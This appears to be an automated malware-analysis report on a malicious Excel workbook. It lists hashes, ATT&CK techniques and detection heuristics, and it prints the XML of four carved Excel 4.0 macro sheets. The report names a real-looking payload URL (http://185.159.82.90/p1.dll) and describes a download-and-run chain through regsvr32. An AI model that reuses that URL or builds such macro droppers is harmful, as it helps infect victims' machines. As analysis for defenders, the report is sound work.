Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b09293baf526acfa…

MALICIOUS

Office (OOXML)

81.9 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-07-07
MD5: 97a66ad2b4c6783aeec739948a1aea3f SHA-1: 5a912f67ca23632abdbca6885c026208f1393108 SHA-256: b09293baf526acfadd8fdcbc4234f48731e77d95efe376be5400aa566bcec8a6
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, identified by critical heuristics for XLM macrosheets and the use of dangerous functions like FORMULA and HALT. These macros construct a URL and filename, then use the URLMon API to download and execute a DLL. Specifically, the macro attempts to download '..\hgkdldjf.dll' from 'http://185.159.82.90/p1.dll' and execute it using 'regsvr32'.

Heuristics 4

  • Excel 4.0 macro sheet (4 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1275 bytes
SHA-256: bcbfa401fa118336cdbc065c78aa2ea595c22ce9234a3523eff13f14641c4a93
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AV21"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="21" spans="48:48" x14ac:dyDescent="0.25"><c r="AV21" s="14" t="b"><f>SET.VALUE(AW21,Sheet4!BB40&amp;Sheet4!BB41&amp;Sheet4!BB42&amp;Sheet4!BB43&amp;Sheet4!BD50&amp;Sheet4!BE50&amp;Sheet4!BH51&amp;Sheet4!BH52&amp;Sheet4!BJ52&amp;Sheet4!BJ37&amp;Sheet4!BJ38&amp;Sheet4!BJ39&amp;Sheet4!BJ40&amp;Sheet4!BM37&amp;Sheet4!BM38&amp;Sheet4!BM39&amp;Sheet4!BM40&amp;Sheet4!BM43&amp;Sheet4!BM44)=Sheet2!AZ14()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1096 bytes
SHA-256: f0087006874a0bc458f3eab26f166164673385bfb37252cf0bfe612f69d998df
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AZ16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="16" spans="52:52" x14ac:dyDescent="0.25"><c r="AZ16" s="14" t="e"><f>SET.VALUE(BA16,Sheet4!BB15&amp;Sheet4!BB16&amp;Sheet4!BB17&amp;Sheet4!BB18&amp;Sheet4!BB19&amp;Sheet4!BE23&amp;Sheet4!BF23&amp;Sheet4!BF15&amp;Sheet4!BG15)=Sheet1!AN17()</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 992 bytes
SHA-256: c3742d0e796c7a64bdf741b0bf14300c5acc31a4e609a0ae1b07ca9b2b42312f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AN20"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="20" spans="40:40" x14ac:dyDescent="0.25"><c r="AN20" s="14" t="b"><f>FORMULA(Sheet3!AW21,Sheet5!BF25)=Sheet5!BF18()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1059 bytes
SHA-256: 62b113afc952f296a31a175ac0eb0ffef54e55023b1dca955c2e21d0c4f5d287
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="BF19:BF27"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="19" spans="58:58" x14ac:dyDescent="0.25"><c r="BF19" s="14" t="b"><f>FORMULA(Sheet2!BA16,BF26)</f><v>0</v></c></row><row r="27" spans="58:58" x14ac:dyDescent="0.25"><c r="BF27" s="14" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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